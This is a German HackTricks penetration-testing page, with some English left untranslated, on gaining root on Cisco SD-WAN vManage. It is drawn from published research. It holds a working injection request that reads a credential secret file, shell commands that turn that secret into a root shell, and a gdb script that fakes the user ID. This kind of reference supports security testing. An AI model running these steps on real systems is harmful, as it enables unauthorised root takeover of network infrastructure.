Cisco - vmanage

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

• Überprüfen Sie die Abonnementpläne!
• Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
• Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.

Pfad 1

(Beispiel von https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html)

Nach etwas Recherche in einigen documentation, die sich auf confd und die verschiedenen Binärdateien beziehen (zugänglich mit einem Konto auf der Cisco-Website), stellten wir fest, dass zur Authentifizierung des IPC-Sockets ein Geheimnis verwendet wird, das in /etc/confd/confd_ipc_secret liegt:

vmanage:~$ ls -al /etc/confd/confd_ipc_secret

-rw-r----- 1 vmanage vmanage 42 Mar 12 15:47 /etc/confd/confd_ipc_secret

Erinnerst du dich an unsere Neo4j-Instanz? Sie läuft mit den Rechten des Benutzers vmanage, was es uns erlaubt, die Datei mithilfe der vorherigen Schwachstelle abzurufen:

GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1

Host: vmanage-XXXXXX.viptela.net



[...]

"data":[{"n":["3708798204-3215954596-439621029-1529380576"]}]}

Das Programm confd_cli unterstützt keine Kommandozeilenargumente, ruft jedoch /usr/bin/confd_cli_user mit Argumenten auf. Wir könnten also /usr/bin/confd_cli_user direkt mit eigenen Argumenten aufrufen. Es ist jedoch mit unseren aktuellen Rechten nicht lesbar, daher müssen wir es aus dem rootfs holen und per scp kopieren, die Hilfe lesen und es verwenden, um eine Shell zu bekommen:

vManage:~$ echo -n "3708798204-3215954596-439621029-1529380576" > /tmp/ipc_secret

vManage:~$ export CONFD_IPC_ACCESS_FILE=/tmp/ipc_secret

vManage:~$ /tmp/confd_cli_user -U 0 -G 0

Welcome to Viptela CLI

admin connected from 127.0.0.1 using console on vManage

vManage# vshell

vManage:~# id

uid=0(root) gid=0(root) groups=0(root)

Pfad 2

(Beispiel aus https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77)

Der Blog¹ des synacktiv-Teams beschrieb eine elegante Methode, eine root shell zu bekommen, allerdings erfordert sie eine Kopie von /usr/bin/confd_cli_user, die nur von root gelesen werden kann. Ich fand einen anderen Weg, um ohne solchen Aufwand to escalate to root.

Als ich die Binärdatei /usr/bin/confd_cli disassemblierte, beobachtete ich Folgendes:

vmanage:~$ ps aux
… snipped …
root     28644  0.0  0.0   8364   652 ?        Ss   18:06   0:00 /usr/lib/confd/lib/core/confd/priv/cmdptywrapper -I 127.0.0.1 -p 4565 -i 1015 -H /home/neteng -N neteng -m 2232 -t xterm-256color -U 1358 -w 190 -h 43 -c /home/neteng -g 100 -u 1007 bash
… snipped …

set environment USER=root
define root
finish
set $rax=0
continue
end
break getuid
commands
root
end
break getgid
commands
root
end
run